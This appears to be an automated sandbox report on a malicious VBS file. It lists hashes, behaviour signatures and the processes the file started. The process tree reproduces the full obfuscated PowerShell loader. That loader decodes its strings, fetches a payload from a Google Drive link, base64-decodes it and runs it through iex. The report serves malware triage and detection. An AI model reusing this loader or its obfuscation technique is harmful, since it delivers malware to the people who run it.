Analysis
-
max time kernel
150s -
max time network
126s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
31/10/2024, 04:11
General
-
Target
fa9fa45970a828fe3a99bbe58b142b61c17be373b2652270aee5e16897825654.vbs
-
Size
339KB
-
MD5
9dc9a0c38423e7bc364522e158e537ce
-
SHA1
a005803a54f57739424590995f522f45cbbb6f91
-
SHA256
fa9fa45970a828fe3a99bbe58b142b61c17be373b2652270aee5e16897825654
-
SHA512
cbc14b6b980011cca9674f0ce9b94cbb3557d89c2d19784002b33c47428c20bc4c3eb80d0b15443b957d5eb98a3c8daacdb17f4b4ac5e8389c0a1568aa6577c5
-
SSDEEP
6144:En64ik47Q3WAFLOgL6hPnAIjxnH7sjS3xcrl0ZIRN2XrwozRMeqzAv+qmXpiEcIK:ZgcgL8jD/wGmzcspqd+orNaC
Score
6/10
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fa9fa45970a828fe3a99bbe58b142b61c17be373b2652270aee5e16897825654.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Rindy Nattog Bismar Refrnsangen Compotatory Tilpropning #>;$Shwebo='Volumenrabatter';<#Pitiability Mastodontisk Forfeit #>; function Observatoriet($Fjases){If ($host.DebuggerEnabled) {$Frogmouths++;}$Potning=$Potcher+$Fjases.'Length'-$Frogmouths; for ( $Esterify=5;$Esterify -lt $Potning;$Esterify+=6){$Reger=$Esterify;$Gangrened+=$Fjases[$Esterify];$Astas='Jardin';}$Gangrened;}function Magaziner($Capstans19){ & ($Floribunda) ($Capstans19);}$Passere=Observatoriet 'FrateM oncaoProduzPa teiScru,lFlkhalBrugeaChip./ Udtr ';$Predemonstrated94=Observatoriet 'ChoriTMono lFortlsFarve1 Crus2Gd kd ';$Pentimento='.yste[gul.knGeonyEF nantSavss.TancesPolymELalunrYdelsvfolkei BleecHumrsEPrecoP Ak.ioBrandiDemo.N Mi uT Dermm RichAPeo rnU donA B.ooGBrandE MitrRDivin]Bloom:Platy:PaginsKaberEOversC N niuLjerlr P ctiOverdT ibliyBaggeP arnpR allsoFiendT Ge soGraincNskedoMa,atL favr= ursp$ SlagPDelttrHypere BanddDiastEendpaMToluiOF sten Sk vSSiddeTCorevrOscilaOv rkt KonvEmangaDOracu9Arche4Illu, ';$Passere+=Observatoriet 'Endov5Lec u.U.get0Coiti Strm (SlipsWAtarai ,aknnTran,dSwampo actow lacisUfors ErgotNRokniTKu,tu Tfler1 Arbe0 Bern.Clear0A.ell;Magna Peri W,edekiD,ggrnRepea6hjort4socie; H po EnensxChron6Skrab4Const;Jejun GangtrKob ivAfhrd:Commu1Bestt3Antho1 R,si. olke0Krops)Q,ino UnsnGSkyldeJvnlic aperkUnforo .emm/Corru2Er mi0Game 1F ran0Lowba0fangs1Anker0 Mitr1Dri l M taFStavei FilmrSamkreXylogfCon eo Applx Teli/Filip1Skumm3Beach1 Fore.Unben0Concu ';$Caffled=Observatoriet 'Oat fuSavanS KillE ander,nten-OmvisAFagudgFunkteAfskenAnmeltSop r ';$Lovligt=Observatoriet 'UnsalhT poftFnatmtSnderp Kitos Marr: Porc/afdel/.nburdFlertr T abiN,nsevFiboneP nkt. Stegg BlanoMetaloR.klagInd llTen eeSpild.KlimacOffenoIntonmMisra/FrizzuTeretc Yenn?Pe,omeSc,laxSkyllpBilleoTndbaropkbet refi=SpenddTempeoj.ulewThallnSto elFrilgoLib rasmergdQuing& Fotoi.llesd Rekl= Repu1GnierEVrdirgTendeoophidmSmatt_ EnebSRadi,oSlumrgD sem4EightT aktwDybt,5 F rmZchiroCAntifrLuf h6In enoHex mDI vig0 sendX.nexpmSouusy Tid,q PiraQ BresXAfsk.F Mdr.M.eindb TheoN Tilf4filla_Pocke1Mo or ';$funktionsnavnene=Observatoriet 'Test > Idri ';$Floribunda=Observatoriet 'U legiB,lanETurnpxSands ';$Esterifynvestigatingly7='Overneutralization';$Subrutinens='\Incontinence.Hos';Magaziner (Observatoriet 'Sloga$UtilbGTetraltobacoIndlebF rveATurbiLThr.s:EnebrVUnd.ieBlo sr Br,mIMaleaf RsoniBlndecakti EUmennrSkaerbSkeleASe,suRAtionEaseis=Sp nu$ ReweERebr nStarlvPimen:,ontrA Bir,pAr ejpFlu dDRanslaDinitT ersaBengo+Sytte$ Taktsarc,iUSafiaB ,letR KnalU AfskTgau tiRossenVili eSubconKsr ns An.e ');Magaziner (Observatoriet 'Dampr$ egreg,atetlQuer oKulisB Chora MultlGenop:MisnaSPakkeeTriu.Lfol iVSuperAFo,krnT ndrgblokni EnlaV rerpEOverelExporS dobbEUnstrNCan eSHalvb1Bohrs9 rihj3Opfor=Samoa$Mon,gLkendeo.rugsvNapolLCitatITegnegStaldTBoldg.PetalsIntolpSurreLT.drriDuckytS uns(Ca.as$Julelf SammuZonkeNC perKStimetRechaIKomplOAma.en UnraSAcananNge.taSkrigvUdsp nPensieSpndsn inmeeHvalf)Plan, ');Magaziner (Observatoriet $Pentimento);$Lovligt=$Selvangivelsens193[0];$herskabelig=(Observatoriet 'Tauto$Hyal,GAntisLEfteromicrobvajedAVrelsLPhizc:Bankas chocK SunbNIntersBearbmSmadrAkurionRandodNon oeSt afNS.ter=SynspNMickaE Exc WVa.be-UnaddoHemiab UntujPins.EdiabrChormoT tema judgS saloYautofs yggT astie K bgM.ndle.Lly.dN LeatETandsTrhein.butyrwAym rEFoundBGulleC errilMunyciEvne EPlovfnBildkTKypef ');Magaziner ($herskabelig);Magaziner (Observatoriet 'Phyto$ Ge uSAcyldkGu.fanqu risTheopm BaccaForkun nnedPredieHypotnRee m.UndisH M naele soa T lhdTappeeGlacirStampsFortj[Riste$pyforC paataDorrcfEnverf SheplOphioe verfdBackw]leve = prep$ NonrPAllowa PressPhearsOptege rintrLeveneBegon ');$Eddikesyreproducerende=Observatoriet 'Diasp$g.llaS FirmkMegalnKlests .elemStranaTottinmis,ud EtagestocknPrefr..lenuDDogdoo lev.wSta.tnSejlrlN,nnioBerriaSkelsd FikeF HeatiTransltortue Symb(Form $ DaedLvikahoHumanv ArrelSiccai.ptergKrafttTarra,,owab$SiphoSPunkikplotzr Hamli Meliv Norme LabutBr.dsiAugmeltreaslProtoaHeliodAnti eBygnil loos jende SmuirCad.in GrateMotio)Batwo ';$Skrivetilladelserne=$Verificerbare;Magaziner (Observatoriet ' Flu $AnomagIvrigLTujaeOKnivsbDemorAHectolSynga:tjen,s Gaigu VbnerBanallToddyIElektESammeRFo.la=Avo,t(UdsluTRags,E,asilsPopultLa te-DommePOpnorATi smt I dsh Skd Hvina$PilatsIsogakEn rarPubl i kakkVMicroEChemeTLobstirelatlAt aclSynaga Backd T xie LineL AlkoSvalgce St,trFor,mNS hweESp,ef)Cack ');while (!$Surlier) {Magaziner (Observatoriet 'Mell $Adiabg Dat lresecoHematbUlidiacoassl Marc:K kkeF sopsoH,xamrPasspb Ski,iKra bl K allblepheM.kkad O seeUnifotD cht=Bra,t$ResectHypoprUvid u MonseVandl ') ;Magaziner $Eddikesyreproducerende;Magaziner (Observatoriet 'CopsyS IndiT OutwaAalegR GasaTKejsn-NonprSredbulEnga eIndefEEga ip Fred Patro4Indel ');Magaziner (Observatoriet 'Regat$MiljkgVejrpL kol o SkanbH useAStichlChive: lechs SchmUEtrusr SatiLAmazoIErh eevo,acR Inte= Reto(TjenetGableeSnustsSerraTD.pil-FloroPC eckAPinsetG adahBirli Tr ns$I tansRenumkTopasRReoilI Ge nVDrinkeMi tet Funki DrenLM sopLVibraAN.chaDHall.E .socLrabbis iedee L,emrSyge,NNighteUhand)serie ') ;Magaziner (Observatoriet 'Canon$ ScavgTheriLKolonOHepatbDesinACalmeLTilbe:Cl.tiUBrndeeAraneREpoxyHNondiOFormuL Tilpd MidsEVinkelFrsteiFiligg ackfH RvesEPresudstatue MislnAfspo= in e$ Unz goversLReverOSkabeBGrangA addeLArcha:J ryeGOutbeaScrivn Fon gTilsiBJapanEAntikSOv.loVTintarfjlleEHuskeTHo,edsTarse+H ers+Torpe% nyde$AskeoSSni peans alConv,VMasseaDagfin B,rdgUsynlIFremsVNonsueSmittluncansTr.ckEBrevvNStempSCucko1Omk.d9Allyi3 Coun.EliquCTysteoIndjouKegl,NKurioTPolyg ') ;$Lovligt=$Selvangivelsens193[$Uerholdeligheden];}$astronomiske=299386;$Forktringernes=31513;Magaziner (Observatoriet 'Radec$ DemogPil olKad.nOJuledBCh rtA carrLSup r:langbSGa vaesmgenM.ronei,enetS Re.ttBje,gIUnderFTra eF Rvesl quisYKnokk Plas=,onoc InnkegFirsiE i dsT tviv-OrchiCAndoro.ailfN ApatT Wilte MesonAl neTBestr Bogm$SyrupSAflurKInterR likviKurvevPrmieEL vliTUninsibu,nsLChamil,eferAU derDSe.edeMaranL orepSPressE TranRHemmen AtomeCra l ');Magaziner (Observatoriet 'Conve$Snekkgunprol azifoFortrbR.inea aeonlOplag: PrebFBuk,eubrearlMon,idBemynbOpprer mispiBlda n,obocgTwist kunst=Rackm Forb[Int rSEupheyRectis OpdetTildkeReu,im Beha.SkirrC HereoDeme.nTa lyvTerrieNummer onoctGrowl] skyl:Rough:ClaspFlov,or PilgoTeatfm MinuBDemilaModersS.ildesaut 6 Orga4As.atS HummtAlbu.rHom.ci tidtnAkt,egEfter(Bryde$.umdusBowleePlaymm O sciGreensSol,ntblokkiUdligfAf ukf sophlFabriyFroko) Fore ');Magaziner (Observatoriet 'Hefte$ Sk lgB.ottLMesomOoxychBFjernAUntemLTryk : CanteNondeu UdbrRBradyAParriSAnagriMarchETolerRUvanlE.nketSB rap Str e=Romp Untre[NilfiSFormiYCitroSAfmy TQu nyESpecimBet n. BreetA.ticEHeadtxserraTNejen.V,laiEKlippNfiltrC DukkoAleppDmusikI Recan HuntgSirsl]Thaum: umm:pol nAUnrecSGif ecaandeIfondniPista.upst.gSlagteembart Sk,mS .oolTStap,r Udgai rchiNSvarrGpenne(Forbe$gran.fDentau TimbLKlarndBackrB rerorArchiianisyNEtosjg Slag)Berli ');Magaziner (Observatoriet 'Famil$Ene.eGH vtwlBerejOPalisB AfreA Ses.L Fyrs: fletnArracaambulT va.uU,robrRIrre.EGurdlL Wit,EAfrim=Prosi$StraaeCa caUTre aRA tinASvaghsRadi.IPoly.eForb rRnkesESavojSPotr .SclersOtateuProstBUnderSSwashTCurrir Fossi FlutnBa lug Anth(Repul$Ald haBenetS maaktBegraRApe ao L,ton opniOSt veMStyloIArthrsOrthoKKlingeStt s,Trans$Formaf nthoOPla er ltrak Kernt ForeRMicroiTrafiNcriocGRuno eGrisoREnci N oveEDegresLush ) Tank ');Magaziner $Naturele;"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
4KB
-
Filesize
9.6MB
-
Filesize
32KB
-
Filesize
2.9MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
4KB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB